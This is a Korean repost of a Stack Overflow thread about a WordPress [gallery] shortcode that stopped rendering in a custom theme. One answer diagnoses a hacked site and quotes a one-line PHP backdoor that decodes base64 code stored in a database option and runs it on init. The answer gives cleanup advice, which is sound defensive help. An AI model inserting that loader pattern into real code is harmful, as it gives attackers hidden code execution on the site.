programing

사용자 지정 테마에 기본 Wordpress [갤러리]가 표시되지 않음

subpage 2023. 3. 10. 21:33
반응형

사용자 지정 테마에 기본 Wordpress [갤러리]가 표시되지 않음

최근 업데이트 전까지는 모든 게 괜찮았어요. [gallery]이미지가 표시되지 않게 되어, 코드에 포함되어 있지 않은 것 같습니다.

페이지 루프는 다음과 같습니다.

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

th_content의 텍스트 내용은 표시되지만, 해당 콘텐츠의 [갤러리]는 표시되지 않거나 코드로 렌더링되지 않습니다(javascript에 문제가 있으면 안 됩니다).

여기 기능이 있습니다.php 파일: http://pastebin.com/vfJpphgt (네, 갤러리에 대한 테마 지원을 추가했지만 변경은 없습니다)

사이트가 해킹당했군요.

페이스트빈의 마지막 행이 데이터베이스에서 악성 코드를 로드하고 있습니다. add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

실행된 코드는 갤러리 미디어 파일을 검색하기 위한 WPQuery를 혼란스럽게 합니다.그렇기 때문에[gallery](사실 그 부분은 운이 좋을 수도 있어요)

이 멀웨어에 대한 항목은 sucuri.net에서 찾을 수 있습니다.서버의 모든 파일에 의심스러운 행이 있는지 확인해야 합니다.가장 가능성이 높은 공격 경로는 WordPress 취약성에 의한 것이지만 WordPress 및 서버에서 모든 암호를 변경해야 합니다.

악성 프로그램을 제거한 후 Wordfence와 같은 도구를 사용하여 WordPress를 치료할 수 있습니다(플러그인 또는 해당 작성자와 관련이 없음).

플러그인 NextGEN Gallery를 설치하고 갤러리 이미지를 추가한 후 홈 페이지에 표시해 보십시오.

https://wordpress.org/plugins/nextgen-gallery/

콘솔에 javascript 오류가 표시됩니까? 그리고 출력은 무엇입니까?

<?php echo do_shortcode('[gallery]');?>

언급URL : https://stackoverflow.com/questions/31267336/default-wordpress-gallery-not-showing-up-in-custom-theme

반응형